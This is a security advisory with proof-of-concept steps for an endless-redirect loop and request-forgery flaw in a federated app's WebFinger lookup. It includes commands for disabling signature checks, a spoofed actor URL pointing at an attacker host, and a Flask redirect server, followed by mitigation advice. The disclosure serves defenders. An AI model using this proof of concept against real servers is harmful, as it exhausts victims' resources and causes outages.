Advisory

GHSA-c59p-wq67-24wx

Details, part 2 of 2. The advisory

Details

_Attacker Machine_

  1. Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
  2. Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):

`
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
`
`
source ~/.bashrc
`
`
nvm list-remote
`

  1. Install the latest stable version:

`
nvm install {latest_ver} #for example: v20.10.0
`
`
source ~/.bashrc
`
`
npm -v #check it works
`
`
node -v #check it works
`

  1. Download the attacker app repository:

`
git clone https://github.com/dahlia/microblog.git
`

  1. Disable request signature validations:

Edit the _/src/federation.ts_ file and add a _skipSignatureVerification: true_ attribute to the _createFederation_ object.

  1. Modify the _/src/federation.ts_ file and tamper with the Person object on the actor dispatcher ( _setActorDispatcher("/users/{identifier}"_ ) - change the actor ID attribute _“id: ctx.getActorUri(identifier)_” into “_id: new URL(‘http://<ATTACKER_MACHINE_DOMAIN>:1337/users/enterloop’)_”.
  2. Install python flask and create the Python Flask redirect server:

`
apt update
`
`
apt install python3-flask
`

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/health')
def health():
    return "hello", 200

@app.route('/.well-known/webfinger')
def ssrfinger():
    return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")

@app.route('/endlessloop')
def endlessloop():
    return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0' ,port=1337)
  1. Run the python server and attempt to reach the “_/health_” path to see the server functions as expected.
  2. Read the _README.txt_ file on the attacker app and follow the instructions on how to execute the app.
  3. Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
  4. Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).

Impact

  1. Implement a limiting stop condition for the endless loop to prevent infinite loops.
  2. Validate the scheme while performing a manual redirection handler.
  3. For each web resource (for the _lookupWebFinger_ function and also URLs found on the “_Location_” header inside the loop) use the “_validatePublicUrl_” function to verify that it is not targeting a local resource.

Sources & licences